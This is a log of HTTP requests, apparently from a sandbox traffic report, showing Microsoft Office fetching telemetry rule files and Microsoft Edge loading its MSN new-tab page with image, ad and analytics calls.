Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731811358831&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=024D4A803FDA694A0F455FBA3E2B6876&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731811358830&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5adb8e267cf64bb19e68a2e068f0bfad&activityId=5adb8e267cf64bb19e68a2e068f0bfad&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=024D4A803FDA694A0F455FBA3E2B6876&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=75927ca130d64e2facfa627b5426a786 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731811358831&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=024D4A803FDA694A0F455FBA3E2B6876&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=131119f4259cbd231943f011731811360; XID=131119f4259cbd231943f011731811360
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=024D4A803FDA694A0F455FBA3E2B6876&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6b87322bfd1a439dce3141a7abcf98ea HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731811358830&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5adb8e267cf64bb19e68a2e068f0bfad&activityId=5adb8e267cf64bb19e68a2e068f0bfad&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=DD5B561888754485909BF684B6BA20B0&MUID=024D4A803FDA694A0F455FBA3E2B6876 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
